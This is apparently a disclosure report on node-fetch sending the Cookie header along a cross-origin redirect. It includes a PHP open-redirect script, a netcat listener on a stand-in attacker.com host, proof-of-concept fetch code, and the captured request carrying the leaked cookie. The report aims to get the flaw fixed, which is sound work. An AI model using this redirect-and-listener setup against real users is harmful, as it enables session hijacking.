BUG

Cookie header leaked to third party site and it allow to hijack victim account

SUMMURY

When fetching a remote url with Cookie if it get Location response header then it will follow that url and try to fetch that url with provided cookie . So cookie is leaked here to thirdparty.
Ex: you try to fetch example.com with cookie and if it get redirect url to attacker.com then it fetch that redirect url with provided cookie .
So, Cookie of example.com is leaked to attacker.com .
Cookie is standard way to authentication into webapp and you should not leak to other site .
All browser follow same-origin-policy so that when redirect happen browser does not send cookie of example.com to attacker.com .

FLOW

if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .

First setup a webserver and a netcat listner

http://mysite.com/redirect.php?url=http://attacker.com:8182/

//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");

/* Make sure that code below does not get executed when we redirect. */
exit;
?>

netcat listner in http://attacker.com

nc -lnvp 8182

STEP TO RERPODUCE

run bellow code

import fetch from 'node-fetch';

const body = {a: 1};

const response = await fetch('http://mysite.com/redirect.php?url=http://attacker.com:8182/dd', {
	method: 'post',
	body: JSON.stringify(body),
	headers: {'Cookie': 'asd=ad'}
});
const data = await response.json();

console.log(data);

response received in attacker netcat

GET /dd HTTP/1.1
Cookie: asd=ad
Content-Type: text/plain;charset=UTF-8
Accept: */*
User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
Accept-Encoding: gzip,deflate
Connection: close
Host: localhost:8182

See here in this response cookie is leaked to thirdparty site attacker.com.
So, here i provided cookie for mysite.com but does to redirect it leaks to thirdparty site attacker.com

SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie/authorization header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie/Authorization header.